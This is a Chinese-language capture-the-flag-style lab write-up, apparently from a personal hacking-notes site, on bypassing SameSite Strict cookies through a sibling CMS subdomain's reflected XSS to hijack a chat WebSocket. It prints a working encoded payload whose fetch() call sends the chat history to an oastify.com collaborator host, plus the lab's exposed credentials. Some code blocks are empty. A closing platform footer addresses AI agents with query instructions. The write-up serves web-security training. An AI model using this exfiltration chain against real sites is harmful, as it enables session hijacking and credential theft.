> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/samesite-strict-bypass-via-sibling-domain.md).
# 通过兄弟域绕过 SameSite Strict
### 通过兄弟域名绕过 SameSite Strict
实验室：实时聊天功能易受跨站 WebSocket 劫持（CSWSH）攻击。该实验的目标是通过将聊天历史提取到默认的 Burp Collaborator 服务器来获取受害者的账户；历史记录中包含明文凭据。
使用提供的利用服务器发起一次 CSWSH 攻击，将受害者的猫的历史记录外传。
聊天通过 WebSocket 工作，历史记录也通过它传输。
会话 cookie 会使用 SameSite 发送（阻止传统的跨站重定向场景）。
JavaScript 客户端文件（例如 `chat.js`）从一个 CMS 子域加载，该子域返回一个 `Access-Control-Allow-Origin` 允许与该子域交互的头部。
CMS 身份验证面板可通过以下内容进行脚本注入： `username` 参数（例如 `?username=&password=test`).
```javascript
```
```
/login?username=&password=test
```
利用这个注入，你可以在易受攻击的子域上下文中运行 JavaScript，从而与聊天服务器建立经过身份验证的 WebSocket（由于来源相同，cookie 会随后发送）。
### 方法（摘要）
1. 在 `username` CMS 子域登录表单的参数中放置恶意脚本。
2. 该脚本打开到聊天服务器的 WebSocket 连接并发送一个 `READY` 信号。
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
3. 在收到来自 WebSocket 的消息（猫的历史记录）后， `fetch` 脚本会将这些数据（base64）编码并发送到攻击者控制的服务器（OAST/Oastify）。
```bash
/?data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```
在利用服务器上托管/提供一个重定向，将受害者引导至易受攻击的 URL（登录时携带 `username` 包含该脚本）。
```bash
echo "eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9" | base64 -d
```
#### 观察到的结果
* 当收到外传的查询时， `数据` 参数包含一个 base64 字符串；解码后我们得到了猫的入口。
* 收到的载荷示例（base64 解码后）：
```json
{"user":"CONNECTED","content":"-- Now chatting with Hal Pline --"}
```
通过从已认证的上下文（CMS 子域）中注入，脚本传输了包含用户对话的消息，并且在本例中，传输了一条以明文形式包含凭据的消息。
{% code overflow="wrap" %}
```
https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef
```
{% endcode %}
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
#### 提取出的凭据（如所述）
* `carlos:hdf3fkk8h7tnltupqs5t` （在猫的历史记录中找到的凭据）
{% code overflow="wrap" %}
```json
{"user":"Hal Pline","content":"没问题，carlos，是 hdf3fkk8h7tnltupqs5t"}
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/csrf/samesite-strict-bypass-via-sibling-domain.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.